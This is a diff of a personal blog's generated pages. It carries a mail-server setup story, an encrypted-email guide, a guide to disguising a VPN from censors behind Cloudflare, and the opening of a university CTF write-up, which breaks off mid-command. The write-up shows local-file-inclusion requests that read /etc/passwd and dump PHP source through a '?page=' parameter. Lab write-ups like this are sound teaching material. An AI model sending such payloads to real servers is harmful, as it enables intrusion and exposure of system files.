    So I moved to virtual mailboxes. PostfixAdmin keeps domains, users, and aliases in Postgres. Dovecot looks up passwords and home directories with SQL. Mail files live under /var/vmail/... owned by a dedicated vmail user. Postfix no longer thinks of those addresses as local Unix people. It thinks of them as virtual destinations and hands the message to Dovecot over LMTP.

    +

    Why not let Postfix write the files itself? You can, historically. I prefer letting Dovecot be the clerk who already understands Maildir layouts, future filters, and the IMAP view of the world. Postfix remains the traffic cop at the street.

    +

    One setting decides whether this feels cursed or calm: mydestination.

    +

    That list means “domains I treat as local Unix delivery.” Virtual domains belong in the virtual maps instead. If your hostname is mail.alipourimjourneys.ir and you also leave that name in mydestination, Postfix may keep trying to deliver like it’s 1999 local mail. Virtual users then appear configured while messages vanish into the wrong conceptual bucket. I set mydestination to localhost and let the mail domain be virtual. Suddenly the model matched reality.

    +

    PostfixAdmin became the place where I create humans. They can change their own passwords in the user area. I can reset them when someone inevitably forgets. No SSH required for “please add my sibling.”

    +

    One more client quirk: some apps send only ialipour as the username. The database stores ialipour@mail.…. Dovecot’s “default realm” sounded like it would stitch those together automatically. For PLAIN auth it didn’t save me the way I hoped. Teaching the SQL queries to accept either the full address or local-part@mail.alipourimjourneys.ir did. Also, when authentication fails for “no reason,” consider that you might be typing your Linux password into a mailbox that has its own password now. I will not elaborate. We all learn in private.

    +
    +

    Webmail without losing the plot

    +

    Roundcube is not a second mail server. It’s a website that speaks IMAP and SMTP on your behalf. Same username, same password, same Dovecot, same submission port. I run it in Docker next to PostfixAdmin, with its own database on the mail Postgres.

    +

    I flirted with serving it under a path like /webmail on the main mail hostname while also serving it at the root of webmail.…. Roundcube has opinions about its base path. If you tell it “you live under /webmail” and then put it at / on another name, it will happily redirect you after login to a URL that 404s inside the container. Apache will even sign the 404 like a polite waiter bringing empty plates.

    +

    The calm ending: Roundcube lives at https://webmail.alipourimjourneys.ir/ as the site root. The portal links there. Path experiments go in the diary under “character development.”

    +
    +

    The bounce emails that taught me about identity

    +

    After virtualization, funbox started mailing me undeliverable notices. The original messages were those solemn “SECURITY information for funbox” notes that appear when sudo wants a password. Unix likes to mail root. My system identity still thought the local domain was mail.alipourimjourneys.ir, so root became root@mail.alipourimjourneys.ir. That mailbox does not exist on purpose. LMTP rejected it. The bounce returned to me, the sender of the sudo drama. It felt like the house accusing me of breaking the house.

    +

    The fix is to separate “system mail identity” from “human mail domain.” I set the mailname/origin story back toward localhost for local Unix injection, and I aliased root to my real virtual address so necessary noise still reaches a human. myhostname can still announce itself as mail.… on the SMTP banner. Different knobs, different jobs.

    +

    Deletes in Thunderbird failing was a softer lesson. Reading worked. Deleting seemed haunted. In IMAP land, “delete” is often “please move this to Trash.” If Trash can’t be created because permissions are wrong, or Dovecot never auto-creates those special folders, the client shrugs and you blame the moon. Giving vmail ownership of the maildirs and letting Dovecot auto-subscribe Trash, Drafts, and Sent restored ordinary mortal behavior.

    +

    And fail2ban exists because a public mail server’s address is a picnic for scanners. An SSH jail alone is only half a seatbelt. I also watch Postfix and Dovecot auth failures in /var/log/mail.log so repeated guessing gets a timeout instead of an unlimited hobby.

    +
    +

    What “done” means for me

    +

    For this build, done means strangers cannot relay through me when I check from the public IP. Port 25 does not offer AUTH as entertainment. Humans submit on 587 with TLS and passwords. IMAP is on 993. SPF is strict, DKIM signs, DMARC quarantines failures. PTR for both families of IP points at mail.alipourimjourneys.ir, and the forward records agree. Cloudflare stays grey for mail names. The mail database is not the Matrix database. Webmail works. Admin works. Thunderbird deletes work. I can explain every line of that paragraph to a tired friend without waving my hands.

    +

    Would I do it again? Yes. With the same stubborn refusal of the giant appliance, and with a kinder voice toward beginners — including past me — who thought reverse DNS was “just another Cloudflare panel button.”

    +

    If this story helped you feel less silly for not already knowing what PTR stood for: welcome. That was the point. You’re not a dummy. Email is just a very old building with a lot of labeled doors, and somebody finally walked you through the hallway with the lights on.

    +
    + + +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM
    +jSo2Yw//UtI5N8jeF+LTvsVHqDbTVyD+x6qiMgRGT4Kpn86V+6NaVjrs6h+kc5Xy
    +TD9gzCfpwsyfSDBGQ2SHM+bOTlyRDfXpH37XhOGVWNymP2guXaQBytJW11N7t6Yq
    +HhcRfnS1ICk+hK1PlZzLroHcxtT7vYWyucSoeGtedufXYVAaHz/mHVY1STMBEebP
    +NvaJqU5PbuHOHICGGtPADKUB8PejmRmUrzWp/bhA6k9muQSa4Bg30GkBLisOPvKq
    +4kgsu5qV7bhB2IyS6nYb+A1QhTD5EcrMzSaqRdNZR0MV2OzW4feSKwBrJqCe5Z8O
    +4BAMhpgk4baTz0+fSjWiKSokQhizXvB6vK21qu2O+5WbkyY/LLi0klLlF2UqhKnU
    +HE3+dYsxSYXMeCMUqDBPSmkxynJYIlUqen1gVt/vrjFpXRs8jsSx+Ec6+nHiwtLu
    +O+8yqHuGOevp91MW9Ly5eXeWMspmEhC4fgBXe4Anpol3FpwkE2neIy6N6D7FSQWM
    +0k4KDrEbfIvoowTRRXmNpHV+ttSYanjzTl3oQQZ+Y9H+g+uPrfh8oUvivrj+2ZOn
    +iv9oMoW6Q3rB7V/2+jptXpswhzfO67MLcGuToI5VIWz7vvOIW7vCAeSBK6LI91iB
    +VrhS5npAuRFTLR/jGboaIsiiAhI3j4zFvgBJ4c4PatN42KODY20=
    +=KCRU
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/self_hosting_mail.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/self_hosting_mail.md.asc
    +gpg --verify self_hosting_mail.md.asc self_hosting_mail.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/postfixadmin/page/1/index.html b/public-clearnet/tags/postfixadmin/page/1/index.html new file mode 100644 index 0000000..29d50a6 --- /dev/null +++ b/public-clearnet/tags/postfixadmin/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/postfixadmin/ + \ No newline at end of file diff --git a/public-clearnet/tags/privacy/index.html b/public-clearnet/tags/privacy/index.html new file mode 100644 index 0000000..c920313 --- /dev/null +++ b/public-clearnet/tags/privacy/index.html @@ -0,0 +1,16 @@ +Privacy | AlipourIm journeys +

    Sending End‑to‑End Encrypted Email (E2EE) without losing friends

    A practical, mildly opinionated guide to sending encrypted email that normal people can actually read.

    October 30, 2025 · 10 min · Iman Alipour +

    Stealth Trojan VPN Behind Cloudflare Guide

    Introduction So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there? +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare. +This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me). +We’ll anonymise domains and secrets, so substitute with your own: +...

    September 9, 2025 · 4 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/privacy/index.xml b/public-clearnet/tags/privacy/index.xml new file mode 100644 index 0000000..8195dc5 --- /dev/null +++ b/public-clearnet/tags/privacy/index.xml @@ -0,0 +1,333 @@ +Privacy on AlipourIm journeyshttps://blog.alipour.eu/tags/privacy/Recent content in Privacy on AlipourIm journeysHugo -- 0.146.0enThu, 30 Oct 2025 00:00:00 +0000Sending End‑to‑End Encrypted Email (E2EE) without losing friendshttps://blog.alipour.eu/posts/e2ee/Thu, 30 Oct 2025 00:00:00 +0000https://blog.alipour.eu/posts/e2ee/A practical, mildly opinionated guide to sending encrypted email that normal people can actually read.If you’ve ever thought “I should really send this securely” and then immediately remembered key servers, certificate stores, and that one time you bricked your GPG setup, this post is for you. Below is a usable path to end‑to‑end encrypted email, roughly how each option works, and when to use which—sprinkled with a little fun so your eyes don’t glaze over.

    +
    +

    Honestly, I don’t know why one would settle down for a paid option, but if you want to, then be my guest.

    +

    Why people don’t use E2EE email (and why you still should)

    +

    Email wasn’t designed for secrecy. It leaks metadata (who emailed whom and when), search and spam engines expect to read your messages, and traditional E2EE requires exchanging and trusting keys or certificates—things most people never think about. That creates friction, breaks “just works” expectations, and makes onboarding your accountant, landlord, and cousin Maddie… exciting.

    +

    But the upsides are huge: true confidentiality of message content and attachments, stronger authenticity (signatures!), compliance wins for sensitive data, and fewer “oops, wrong inbox” disasters haunting you forever. In short: if it matters enough to hesitate before sending, it probably matters enough to encrypt.

    +

    I mean, generally speaking one can use e2ee for anything, and not just email, but doesn’t it feel cool if you sign your mail with your key, and if the receiver also has pgp keys, to send e2ee mail? No one knows what the two of you talk about, well unless there is a back door in your machine, buuuuuuuut assuming not, you’re good to go!

    +

    The contenders (and how they feel to use)

    +

    Proton Mail (consumer‑friendly, great cross‑provider story)

    +

    Proton gives you automatic E2EE between Proton users. When you email someone on Gmail or Outlook, you can send a password‑protected message that opens in a secure web page; you share the password out‑of‑band (SMS, Signal, etc.). If your recipient already uses PGP, Proton can speak that too. Day‑to‑day, it’s just email—with an extra “lock” option when you need it.

    +

    Prices (personal): Free tier exists; paid tiers like Mail Plus and Proton Unlimited add storage, custom domains, and Proton Bridge for desktop clients. Expect single‑digit € per month for personal use; business plans are per‑user.
    +How to use: Sign up → compose → choose password‑protected email for non‑Proton recipients or send normally to Proton addresses. Recipients can reply securely in the web portal—even without an account.
    +Ups: Lowest friction to message non‑tech people; slick apps; plays well with PGP if you’re a power user.
    +Downs: Metadata like recipients stays visible across the wider email network; full power (Bridge, larger storage) lives behind paid tiers.

    +

    Honestly though, although I love proton and want to work for them, idk why you would want to pay for such services. If you use their other options, like custom mail domains, etc., then be my guest, otherwise just use Thunderbird! It’s easy to use, and fun to show off.

    +

    Tuta (formerly Tutanota) (privacy maximalist, subject‑line encryption)

    +

    Tuta offers automatic E2EE between Tuta users and password‑protected emails to anyone else. Its special sauce: it encrypts more by default in its ecosystem—including subject lines—and the whole suite is open‑source and auditable.

    +

    Prices (personal & business): Free plan plus personal tiers (e.g., Revolutionary, Legend) and business tiers (Essential/Advanced/Unlimited). Personal is typically low single‑digit €/month; business is per‑user, per‑month.
    +How to use: Create an account → compose → set a password for non‑Tuta recipients; they read and reply in a secure web page.
    +Ups: Max privacy posture; encrypted subjects between Tuta users; clean apps.
    +Downs: Some advanced mail protocols/features are intentionally limited; cross‑ecosystem mail still exposes standard email metadata.

    +

    I was introduced to this one literally for writing this post, I had no idea it existed before.

    +

    Gmail with Client‑Side Encryption (CSE) (for organizations on Google Workspace)

    +

    If you live in Google Workspace, CSE brings real end‑to‑end encryption to Gmail—keys stay with your organization. After admins set it up, users toggle encryption right in the compose window. It’s the least disruptive path for big teams that already run on Gmail.

    +

    Prices: CSE is available on certain Workspace editions (e.g., Enterprise Plus, Education Standard/Plus, Frontline Plus). No extra per‑message fee, but you’ll need a compliant key service and the right subscription tier.
    +How to use: Ask IT to enable CSE and your key service → compose in Gmail → turn on encryption for messages that need it.
    +Ups: Seamless for employees; centralized key control; good audit/compliance story.
    +Downs: Only for supported Workspace tiers; external recipients may need compatible tooling or a secure portal experience; not for personal @gmail.com accounts.

    +

    I mean… how much can you trust google and their non-open source client? I know some of my collegues here do use it, I won’t. Not with the emails that matter to me.

    +

    Outlook / Apple Mail with S/MIME (classic enterprise path)

    +

    S/MIME uses X.509 certificates instead of PGP keys and is deeply integrated into Outlook and Apple Mail. Inside one company (or between partners who exchange certs), it’s smooth sailing. Your IT can deploy certificates automatically so users never touch crypto knobs.

    +

    Prices: The tech is built in; costs come from certificates. Orgs often issue them internally; public CA prices vary.
    +How to use: Install/auto‑deploy your certificate → recipients share theirs → click encrypt/sign in Outlook or Mail.
    +Ups: Great inside enterprises; MDM‑friendly; widely supported.
    +Downs: Exchanging certs across companies is clunky; personal certs can be confusing; mixed ecosystems require coordination.

    +

    Ok. Is there that big of a difference between these and Gmail? Idk. I ain’t trusting non of it. But maybe the apple client I do partially trust. They seem to care about user privacy, or maybe they have brain washed me to believe so.

    +

    Thunderbird + OpenPGP (free, powerful, nerd‑approved—now usable)

    +

    Thunderbird bakes in OpenPGP and S/MIME. You generate or import a key once, and Thunderbird remembers which contacts can be encrypted. It even supports protected headers/subject encryption so the visible subject can be replaced with a stub while the real subject lives inside the encrypted part. For many privacy‑minded folks, this is the sweet spot of control and usability.

    +

    Prices: Free.
    +How to use: Install Thunderbird → create/import a PGP key → hit the little lock when writing to someone whose key you have. Done.
    +Ups: Full control, open source, works with any provider via IMAP/SMTP; subject protection available.
    +Downs: Initial key exchange still scares people; you may need to hand‑hold contacts through setup the first time.

    +

    This is just the best. You can also have your calendars at one place. Also your contacts and everything else. They don’t have iOS app which sucks, idk about Android.

    +

    Browser add‑ons: Mailvelope & FlowCrypt (bring E2EE to webmail)

    +

    If you’re welded to webmail, add‑ons can meet you where you live. Mailvelope brings OpenPGP to Gmail/Outlook/Yahoo and more, right in the browser. FlowCrypt focuses on a polished PGP experience for Gmail and Google Workspace, with business features and key management options.

    +

    Prices: Mailvelope is free/open‑source. FlowCrypt has a generous free tier with paid enterprise features for teams.
    +How to use: Install the extension → create/import keys → compose in a secure editor injected into your webmail.
    +Ups: Zero provider switch; good for gradually introducing encryption to a contact list that lives in Gmail.
    +Downs: Browser crypto UX still has edges; enterprise key policy needs the paid tiers; fewer bells & whistles than a full desktop client.

    +

    Just no. Don’t trust add-ons. Please.

    +

    So… which should you use?

    +

    If you need to send a one‑off encrypted message to a non‑technical person, Proton or Tuta’s password‑protected email is the friendliest: they click a link, enter the password you shared elsewhere, and can reply securely even without an account. For a company already on Google Workspace, turn on Gmail CSE so people don’t juggle keys. If you’re a power user or want provider‑agnostic control, go with Thunderbird OpenPGP—it’s free, modern, and interoperable. And if you won’t leave the web, try Mailvelope or FlowCrypt to bolt E2EE onto the inbox you already use.

    +

    Honestly though, I would suggest thunderbird all day everyday, twice on Sunday. But that is just my view. If you fancy something else, well go ahead.

    +

    A note on what E2EE hides (and what it doesn’t)

    +

    End‑to‑end encryption protects the body and attachments. Across the wider email network, metadata like From/To and delivery timestamps remain visible by design. Subjects may also be visible unless your tools use protected headers (Thunderbird can; Tuta encrypts subjects inside its ecosystem). If you truly need to hide everything, email might not be the right tool—reach for Signal or Matrix instead.

    +

    Quick price & fit-at-a-glance

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    OptionBest fitPersonal price vibeNotes
    Proton MailEveryday private email + easy messages to anyoneFree; personal paid tiers in single‑digit €/mo; business per‑userPassword‑protected emails to non‑Proton; PGP support
    TutaPrivacy‑max email; encrypted subjects in‑ecosystemFree; personal low €/mo; business per‑userPassword‑protected emails to non‑Tuta; open source
    Gmail CSEOrgs on Google WorkspaceIncluded with Enterprise Plus/Education/Frontline editionsAdmin setup + external‑recipient flow
    S/MIME (Outlook/Apple Mail)Enterprises with IT/MDMSoftware built‑in; cert costs varySmooth inside one org; cert exchange needed across orgs
    Thunderbird OpenPGPProvider‑agnostic power usersFreeCan encrypt subjects via protected headers
    Mailvelope / FlowCryptMust stay on webmailFree / paid enterprise optionsPGP in the browser; good stepping stone
    +

    The 60‑second starter packs

    +

    Proton/Tuta for one‑offs: create an account, write your message, set a password, send; share the password over Signal or SMS. Recipient opens the secure link and can reply—no account needed.

    +

    Thunderbird for everything else: install, make a key, send your first signed message; when your contact replies with their key, hit the lock and enjoy encrypted bliss.

    +
    +

    Shower thoughts

    +

    So, why did I mention any of this? +Aside from the fact that I do believe e2ee email should become defacto, and I don’t know why it isn’t already, I do think we are not taking any steps toward protecting ourselves, and rely on third parties to do so for us.

    +

    A while ago when the 12 day war happened in Iran, they eventually allowed domestic platforms to be used by Iranians living abroad to talk to their loved ones back home. +The thing is, people might not use them because they don’t trust them.

    +

    The question I had was different. +Assuming that the service is reliable, why can’t we use it and protect ourselves while doing so?

    +

    In hindsight this seems stupid. +But listen to me. +If you have a wrapper that uses your gpg key to encrypt your messages, then you send them via those seemingly “untrusted” medium, why wouldn’t you be able to use it? +The only, and oh well, biggest problem is key exchange. +Now to be honest, there exist key repositories that one can use, but also you can publish your public key over github, or any open verifiable medium. It is not foolproof, but it’s a way. +And as long as there is a minimum reliable channel between the two parties, they can verify the authenticity of the key. +Like via a quick short call. +They can also be faked, but let’s not go that extreme. +Also if many do it, it’s hard to screw over all of them, maybe a subset with spending much resources, but no way you can screw everyone.

    +

    Idk how stupid the thing I’m suggesting is, but I wonder if it can be done or not. I don’t know if I’m willing to spend my free time on it or not, but I though I should share the idea to at least know if it’s stupid and wrong or not.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM
    +jSoPBBAAlYPOVuLE4EKBrV/xOlyslxRhMoJbXxdp4HGPlrBBmsbsko9V7nMvSkXN
    +z+xZGP+orZYA3hUJtJFwKY3f6Lc+H0+rmPq/qwhdlyooASpap3G9n6Lh09vrimSl
    +teMPcOiYIeFEN2NeewReyp+0kGTuS6Z0IOZZ4yIi5wG3Ect7VtesTUrLuvdsuUZ2
    +nh+i/2N/8HPKb3HnkZUcWJL3oSjQ8aULH4mn4gtHUEvJZO+hH2G87yPvf0B6cM6w
    +qIEc9ScuBzyX6wo2Cu0V22LFJLEoD1rLsluzsE54iv/ZD6YxFbIwOi1KMX0mBOGo
    +S93kkSYz5LRrR/f7xtTGpfeZXnYB4YIij/9MBQBoM55oHcjTdpOV5Pe00MCF1kXJ
    +bfSn+ylCvyPoVUbFlKTiBFdHHiV29/ILUbMekJ4kRmBazNqu4Q486CLKqCn2yguA
    +mLN7Fslis+dsOnm9G/aR5MadIMgXwU8hwVM9DKDoxia4UALOSnHA2eAnJQeEYXDa
    +BF9sq2b6gVE6OJC2eeF0pt3AY5HL4Pe3HowrGeLt8a8QsRHy5TnTE1cdF7A+A4J6
    +iX2qbkUJY1eFbG/kTdFEAH/pcSp4oEyK51/E1ADsjGIG/lu5glDJdIvfw/i6xgzR
    +ic2kF0bGJCaI/0Sen+lvC1dkn9/wxmjRYHHF7pXH0ZxKDUe6i/Y=
    +=R0VX
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/e2ee.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/e2ee.md.asc
    +gpg --verify e2ee.md.asc e2ee.md
    +  
    +
    + + +]]>
    Stealth Trojan VPN Behind Cloudflare Guidehttps://blog.alipour.eu/posts/vpn/Tue, 09 Sep 2025 11:05:00 +0200https://blog.alipour.eu/posts/vpn/<h2 id="introduction">Introduction</h2> +<p>So you want a VPN that <strong>doesn&rsquo;t scream &ldquo;I am a VPN&rdquo;</strong> to every censor and firewall out there?<br> +Welcome to the world of <strong>Trojan over WebSocket + TLS behind Cloudflare</strong>.</p> +<p>This guide not only shows you how to set it up but also sprinkles in some <strong>debugging magic</strong> so you can figure out why things break (and they <em>will</em> break, trust me).</p> +<p>We’ll anonymise domains and secrets, so substitute with your own:</p>Introduction +

    So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there?
    +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare.

    +

    This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me).

    +

    We’ll anonymise domains and secrets, so substitute with your own:

    +
      +
    • VPN domain: web.example.com
    • +
    • Panel domain: panel.example.com
    • +
    • Secret WS path: /stealth-path_abcd1234
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Architecture at a Glance

    +

    Think of it as a disguise party:

    +
      +
    • Trojan = the shy guest (your VPN protocol)
    • +
    • Nginx = the bouncer checking IDs (reverse proxy)
    • +
    • Cloudflare = the doorman who makes sure nobody sees who’s inside (CDN & proxy)
    • +
    • Your fake website = the mask (camouflage page)
    • +
    +

    Traffic flow:

    +
    Client → Cloudflare (443) → Nginx (443) → Trojan (localhost:54321)
    +

    +

    Step 1: Panel Setup (panel.example.com)

    +
      +
    • Bind the 3x-ui panel to localhost (e.g., 127.0.0.1:46309).
    • +
    • Choose a funky web base path like /panel-bananas_42/.
    • +
    • Proxy it through Nginx with HTTPS + Basic Auth.
    • +
    • Test it at https://panel.example.com/panel-bananas_42/.
    • +
    +

    Pro tip: If you see a blank page → your base path is mismatched or Nginx is eating it. Check logs!

    +
    +

    Step 2: Trojan Inbound

    +

    In 3x-ui, create a Trojan inbound:

    +
      +
    • Local port: 54321
    • +
    • Transport: WebSocket
    • +
    • Path: /stealth-path_abcd1234
    • +
    • Security: none
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Step 3: Nginx for VPN Domain (web.example.com)

    +

    Your Nginx is the gatekeeper. Sample config:

    +
    server {
    +    listen 443 ssl http2;
    +    server_name web.example.com;
    +
    +    ssl_certificate     /etc/letsencrypt/live/web.example.com/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/web.example.com/privkey.pem;
    +
    +    # Fake website at root
    +    location / {
    +        root /var/www/html;
    +        index index.html;
    +    }
    +
    +    # Real VPN under secret WS path
    +    location /stealth-path_abcd1234 {
    +        proxy_pass http://127.0.0.1:54321;
    +        proxy_http_version 1.1;
    +        proxy_set_header Upgrade $http_upgrade;
    +        proxy_set_header Connection "upgrade";
    +        proxy_set_header Host $host;
    +    }
    +}
    +

    +

    Step 4: Firewall Rules

    +

    Lock things down! Only Cloudflare should reach you:

    +
    ufw allow 22/tcp
    +ufw allow 80/tcp
    +ufw allow 443/tcp
    +ufw deny 54321/tcp
    +

    +

    Step 5: Client Config

    +

    Trojan URI:

    +
    trojan://<PASSWORD>@web.example.com:443?type=ws&security=tls&host=web.example.com&path=%2Fstealth-path_abcd1234&sni=web.example.com#MyStealthVPN
    +

    iOS clients: Shadowrocket, Stash, FoXray
    +Android clients: v2rayNG, Clash Meta, NekoBox

    +
    +

    Debugging Time (a.k.a. “Why the heck doesn’t it work?!”)

    +

    Symptom: 520 Unknown Error (Cloudflare)

    +
      +
    • Likely cause: Nginx couldn’t talk to Trojan.
    • +
    • Check Nginx error log: +
      tail -n 50 /var/log/nginx/error.log
      +
    • +
    • If you see upstream sent no valid HTTP/1.0 header → you’re mixing HTTPS/HTTP between Nginx and Trojan.
    • +
    +
    +

    Symptom: 526 Invalid SSL certificate

    +
      +
    • Cloudflare → Nginx cert mismatch.
    • +
    • Run: +
      openssl s_client -connect web.example.com:443 -servername web.example.com -showcerts
      +
    • +
    • Make sure CN = web.example.com. If not, fix your cert.
    • +
    +
    +

    Symptom: Blank page on panel

    +
      +
    • Check if the base path matches exactly (case-sensitive, slash-sensitive).
    • +
    • Watch for sneaky trailing spaces!
    • +
    • Test locally: +
      curl -s -D- http://127.0.0.1:46309/panel-bananas_42/
      +
    • +
    +
    +

    Symptom: Client won’t connect

    +
      +
    • Run a WebSocket test: +
      curl -i -k -H "Connection: Upgrade" -H "Upgrade: websocket" https://web.example.com/stealth-path_abcd1234
      +
      Expect 101 Switching Protocols. If not, check Nginx config.
    • +
    +
    +

    Symptom: Censor still blocks you

    +
      +
    • Did you expose another service (like SSH, Matrix, or Minecraft) on the same IP?
      +→ They’ll find your origin IP. Use a second VPS or lock those ports down.
    • +
    • Did you use an obvious path like /ws?
      +→ Use a random-looking one like /cdn-assets-329df/.
    • +
    +
    +

    Pro Tips & Fun Tricks

    +
      +
    • Serve a fake blog or portfolio at root so your domain looks legit.
    • +
    • Rotate WebSocket paths occasionally.
    • +
    • Use Cloudflare Page Rules to disable Rocket Loader & Minify for your VPN domain.
    • +
    • Make friends with your Nginx error.log — it will roast you but it tells the truth.
    • +
    +
    +

    Conclusion

    +

    By putting Trojan behind Cloudflare, you’ve given your VPN a shiny new disguise:

    +
      +
    • Looks like normal HTTPS.
    • +
    • Hides your origin IP.
    • +
    • Forces censors into a tough choice: block Cloudflare (and half the web) or let you pass.
    • +
    +

    Congrats — you’ve built a VPN with both style and stealth. 🥷

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM
    +jSo4Yw//T40cakj/BOL/Zh0gxoW4PnH014B7h67Yirq6pB3epUix6bFaZCJnndbD
    +9ZIhmnWMRzbkcA3SVhW1Y3NLpHvhK5UMXNY1qGqrGATQcoVCP7EewhL/3vXgTo5l
    +jFsQFzNxcgOXKKWevuRtL5MY8RuC+PbsfG2ry2jiOtJa9H2UixVJ5E8Imj+VS47O
    +S3XAlxr85O9CEh/TFkS/TuY5P5+VPoOLn6WfdCH5W2IdkW+Vi3bZFJ46LBm6cNBh
    +Iydo+r2msTrqOozimc9hVorPjHZVZLMADJhcsa4pSZ4pDShBYMOZWATQErROPsdl
    +5iyRbmdFb4zWcG5SgjngHnRHFrJ8PVgnFXObb3yZMqA+38RGmRNFgtR0mhMdtKNt
    +QxQDOO/IfO/oNfZzIERUqUnUy/iXs44v8ttTXXE6SkYYoHW335xmDuk8ntrmQA6g
    +YfXO4rJCXxsMaT6RkJaoK5YirKF/9hJYaUYY62SzdfhTmY1TFGGK0+CD+M1kQILC
    +E8pXSfGhaG2bFCzQ+BRMe4o1BXLNjUhvovUgWEBnYTdGF5oXNS1MM29WxD/HC3md
    +d17noEPwOujrtLxEQcAOUcQe02VOfYcX36pbr+ql32hsQMQHZtho1nx5HEGCoCWG
    +3sO7WQTpdBDtkwdHnRJqKBcuWqrVd3YNMwtZE0S6oXVyWkEbB4Y=
    +=IovZ
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/vpn.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/vpn.md.asc
    +gpg --verify vpn.md.asc vpn.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/privacy/page/1/index.html b/public-clearnet/tags/privacy/page/1/index.html new file mode 100644 index 0000000..83b8baa --- /dev/null +++ b/public-clearnet/tags/privacy/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/privacy/ + \ No newline at end of file diff --git a/public-clearnet/tags/privesc/index.html b/public-clearnet/tags/privesc/index.html new file mode 100644 index 0000000..bf8169b --- /dev/null +++ b/public-clearnet/tags/privesc/index.html @@ -0,0 +1,11 @@ +Privesc | AlipourIm journeys +

    A TU Wien CTF where Sysops Klaus left the keys in the cron job

    LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of.

    June 5, 2026 · 10 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/privesc/index.xml b/public-clearnet/tags/privesc/index.xml new file mode 100644 index 0000000..5650160 --- /dev/null +++ b/public-clearnet/tags/privesc/index.xml @@ -0,0 +1,360 @@ +Privesc on AlipourIm journeyshttps://blog.alipour.eu/tags/privesc/Recent content in Privesc on AlipourIm journeysHugo -- 0.146.0enFri, 05 Jun 2026 12:00:00 +0000A TU Wien CTF where Sysops Klaus left the keys in the cron jobhttps://blog.alipour.eu/posts/g00_tuw_measurement_ctf/Fri, 05 Jun 2026 12:00:00 +0000https://blog.alipour.eu/posts/g00_tuw_measurement_ctf/LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of. +

    Spoiler alert: this is a full writeup. If you still want to solve g#.tuw.measurement.network yourself, stop here and go poke the box. I’ll wait. …No? Ok. Hello friends.

    +

    This post documents how I solved a CTF box that came out of Tobias Fiebig’s Real World Security presentation at TU Wien — the one with Sysops Fahrer Klaus, the guy who “just quickly fixes prod” and accidentally teaches an entire lecture hall how LFI, internal services, vim swap files, and world-writable cron scripts become a chain.

    +

    Each student group gets their own host (g00, g01, …). The goal is simple on paper:

    +
      +
    1. Collect every passwd_part file sitting in user home directories.
    2. +
    3. Stitch them together into the root password (the full answer lives in /root/passwd).
    4. +
    +

    Simple. Boring. Except Klaus was clearly in charge of this VM.

    +
    +

    0) The lay of the land

    +

    Target: g00.tuw.measurement.network

    +

    From the outside you mostly see three faces of the same machine:

    + + + + + + + + + + + + + + + + + + + + + +
    HostWhat it is
    g00.tuw.measurement.networkMain vhost — documentation.md, directory listing, a teasing passwd_part that returns 403
    web.g00.tuw.measurement.networkPHP “meme gallery” with a very trusting ?page= parameter
    pwreset.g00.tuw.measurement.networkInternal password-reset app — not reachable directly from the internet
    +

    Users on the box (from /etc/passwd via LFI): user1user4, monitoring, www-data, root.

    +

    SSH from outside? Public key only. Password auth is a lie (for us, anyway).

    +
    +

    1) Recon — documentation.md saves the day

    +

    First stop: the main site.

    +
    curl -s https://g00.tuw.measurement.network/documentation.md
    +

    That file is basically a treasure map. It mentions two services:

    +
      +
    • webweb.g00.tuw.measurement.network
    • +
    • pwresetpwreset.g00.tuw.measurement.network
    • +
    +

    I also poked the obvious paths (.git, phpinfo, swap files, robots.txt, …). Nothing juicy on the main vhost except the directory index and the forbidden passwd_part.

    +

    Subdomains resolve. Good. Let’s go web.

    +
    +

    2) LFI — include($_GET['page']) classic

    +

    The web vhost is a frameset. Content loads in a frame via ?page=:

    +
    curl -sk 'https://web.g00.tuw.measurement.network/?page=/etc/passwd'
    +

    And there it is — root, users, the whole /etc/passwd parade inside the frame.

    +

    Source via PHP filter works too:

    +
    curl -sk 'https://web.g00.tuw.measurement.network/?page=php://filter/convert.base64-encode/resource=index.php' \
